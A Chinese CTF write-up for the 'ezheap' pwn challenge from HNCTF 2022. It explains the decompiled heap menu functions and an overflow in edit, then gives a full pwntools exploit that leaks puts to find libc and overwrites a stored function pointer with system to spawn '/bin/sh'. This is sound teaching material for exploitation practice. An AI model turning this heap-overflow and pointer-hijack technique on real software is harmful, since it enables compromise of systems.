PWN [HNCTF 2022 WEEK4]ezheap WP 图解

题目链接

[HNCTF 2022 WEEK4]ezheap

分析

该程序文件一共有两个,一个是程序本身,一个是其依赖的C语言运行库
在这里插入图片描述
我们首先对其 checksec,查看其保护机制,可以看到其保护机制全开,如果这是一道关于栈溢出的题目,可能会很难做。
在这里插入图片描述
我们先运行一下程序,看看是做什么的,这种程序中包含增删改查等操作的,肯定是要动态分配内存的,所以一般情况下都是有关于堆的。
在这里插入图片描述
我们将程序放入 64位的 IDA PR0 中,将其反汇编之后,进一步进行分析:
在这里插入图片描述可以看到,里面是由几个函数的,并且我们在输入不同的数字的时候,会有不同的操作,这与我们运行程序看到的逻辑是相同的。

我们先看menu()函数和getnum()函数,这两个函数一个是打印出一些内容,一个是读入一些用户的输入,读入输入这里本来应该是有可能出现漏洞的,但是阅读函数可知,这里有正确的边界检查,以及有canary,所以这里并不能成为利用点。
在这里插入图片描述
在这里插入图片描述
我们在继续看增删改查四个函数。

add

首先来看 add 函数,为了方便观察,这里删除了无关的一些判断错误的信息:

int add()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  int idx; // [rsp+0h] [rbp-20h]
  int size; // [rsp+4h] [rbp-1Ch]

  puts("Input your idx:");
  idx = getnum();
  puts("Size:");
  size = getnum();// 0 <= size <= 256
  
    heaplist[idx] = malloc(0x20uLL);
    v0 = heaplist[idx];
    *(v0 + 0x10) = malloc(size);
    *(v0 + 0x20) = &puts;
    
    sizelist[idx] = size;
    
    puts("Name: ");
    read(0, (void *)heaplist[idx], 0x10);

    puts("Content:");
    read(0, *(void **)(heaplist[idx] + 0x10), sizelist[idx]);
    puts("Done!");
    v1 = heaplist[idx];
    *(v1 + 0x18) = 1;// 删除操作的一个判断条件

  return v1;
}

首先,我们输入数据 idxsize,然后开始分配:

heaplist[idx] = malloc(0x20uLL);

在这里插入图片描述

v0 = heaplist[idx];
*(v0 + 0x10) = malloc(size);
*(v0 + 0x20) = &puts;

在这里插入图片描述

sizelist[idx] = size;
  
puts("Name: ");
read(0, (void *)heaplist[idx], 0x10);

puts("Content:");
read(0, *(void **)(heaplist[idx] + 0x10), sizelist[idx]);
puts("Done!");
v1 = heaplist[idx];
*(v1 + 0x18) = 1;

在这里插入图片描述

delete

该函数就是删除堆中给定 idx 的内存块

_QWORD *delete()
{
  _QWORD *result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 >= 0 && v1 <= 16 && *(_DWORD *)(heaplist[v1] + 24LL) )
  {
    free(*(void **)(heaplist[v1] + 16LL));
    free((void *)heaplist[v1]);
    sizelist[v1] = 0LL;
    *(_DWORD *)(heaplist[v1] + 24LL) = 0;
    *(_QWORD *)(heaplist[v1] + 16LL) = 0LL;
    result = heaplist;
    heaplist[v1] = 0LL;
  }
  else
  {
    puts("Error idx!");
    result = 0LL;
  }
  return result;
}

edit

编辑指定索引的堆内存块,将修改的内容写入到:*(heaplist[v1] + 0x10) 所指的地址处

ssize_t edit()
{
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int nbytes; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  puts("Size:");
  nbytes = getnum();
  if ( v1 >= 0 && v1 <= 16 && heaplist[v1] && nbytes <= 0x100 )
    return read(0, *(void **)(heaplist[v1] + 0x10), nbytes);
  puts("Error idx!");
  return 0LL;
}

show

__int64 show()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 >= 0 && v1 <= 15 && heaplist[v1] )
  {
    (*(void (__fastcall **)(_QWORD))(heaplist[v1] + 0x20))(heaplist[v1]);
    result = (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 0x20))(*(_QWORD *)(heaplist[v1] + 0x10));
  }
  else
  {
    puts("Error idx!");
    result = 0LL;
  }
  return result;
}

我们对其中关键代码进行简化:

v0 = heaplist[v1];

(*(void (__fastcall **)(_QWORD))(heaplist[v1] + 0x20))(heaplist[v1]);
---- >
[((void (__fastcall **)(__int64))(v0 + 0x20))] (v0);

result = (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 0x20))(*(_QWORD *)(heaplist[v1] + 0x10));
---- >
[((void (__fastcall **)(__int64))(v0 + 0x20))] (*(v0+0x10));

在这里插入图片描述

利用思路

我们发现,add 函数将 puts 函数放入堆中,而在 show 函数执行的时候,将会执行 puts 函数,将 namecontent 中的内容打印出来。

  • putsputs 的地址,然后我们已经知道了所用的 libc 的版本,我们就可以得到 system 函数的真实地址
  • system 函数放到 puts 函数的位置,再次执行,就可以执行 system 函数

EXP

我们首先:

  • 写入两个大小为 0x10chunk,其idx为 0 和 1。

此时,堆内存分布如图所示(第 0 个和第 1 个之间是相邻的,为了便于分辨,故而中间留了一道缝隙):

在这里插入图片描述

然后,我们编辑第 0 块:

  • payload = p64(0) * 3 + p64(0x31) + p64(0) * 2 + p8(0x80)
  • edit(0,0x31,payload)
  • show(1)

在这里插入图片描述

注:

在64位 AMD64 架构的 Linux 系统中,堆内存的对齐要求对齐的。

由于现代操作系统使用分页机制管理内存,堆段的起始地址通常与页面大小对齐。常见的页面大小是4KB(4096字节),因此堆段的起始地址通常是4096的倍数。

就如图中一次运行中的堆的位置,起始位置后 3 位(16进制下)全为 0,
在这里插入图片描述

而偏移地址为 0x80 的位置正是 puts 函数的地址,而这个位置本来是指向 content的指针,现在改成了指向 puts函数地址所在位置的指针,所以在执行 show 函数之后,将会打印出 puts 函数的真实地址。

此后就是根据 puts 函数的地址,算出 libc 的基址,然后就可找到 system 函数地址。

既然 可以执行 puts 函数,那么只要我们将 其位置的地址替换为 system 即可执行 system 函数。

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.sym["puts"]

system_addr = libc_base + libc.sym["system"]

payload = p64(0) * 3 + p64(0x31) + b"/bin/sh\x00" + p64(0) * 2 + p64(1) + p64(system_addr)

edit(0,0x48,payload)
show(1)
完整EXP
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = 'debug',arch = 'amd64',os = 'linux')

# node5.anna.nssctf.cn:xxxxx
# io = remote('node5.anna.nssctf.cn',xxxxx)
io = process('./ezheap')
elf = ELF('./ezheap')
libc = ELF('./libc-2.23.so')
#rop = ROP('./xxx')

def choice(idx):
    io.sendlineafter(b"Choice: ",str(idx))

def add(idx,size,name,content):
    choice(1)
    io.sendlineafter(b"Input your idx:",str(idx))
    io.sendlineafter(b"Size:",str(size))
    io.sendlineafter(b"Name: ",name)
    io.sendlineafter(b"Content:",content)

def edit(idx,size,content):
    choice(4)
    io.sendlineafter(b"Input your idx:",str(idx))
    io.sendlineafter(b"Size:",str(size))
    io.send(content)

def delete(idx):
    choice(2)
    io.sendlineafter(b"Input your idx:",str(idx))

def show(idx):
    choice(3)
    io.sendlineafter(b"Input your idx:",str(idx))


add(0,0x10,b"scc",b"aaaa")
add(1,0x10,b"scc",b"aaaa")

# 这里的 0x80 是基于堆基址的偏移量,是第 1 个 puts 函数存放的位置,这里可以算出来 0x30 + 0x20 + 0x30
# 这里的 payload 填充是从第 0 个的 content 开始的,将其填充为 0 ,再将第一个的 prev_size 填充为 0 
# 再将第 1 个的 size 填充为 0x31 ,再将 第 1 个的 name 填充为 0,最后将 show 的地址填充为 puts 地址所在的地方的偏移
# 0x80 放在 malloc_size_addr 的位置,这是因为 show 中 第二次 puts 是拿了这里的值作为地址
payload = p64(0) * 3 + p64(0x31) + p64(0) * 2 + p8(0x80)

edit(0,0x31,payload)

show(1)

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.sym["puts"]

system_addr = libc_base + libc.sym["system"]

payload = p64(0) * 3 + p64(0x31) + b"/bin/sh\x00" + p64(0) * 2 + p64(1) + p64(system_addr)

edit(0,0x48,payload)
show(1)

io.interactive()
  • 31
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值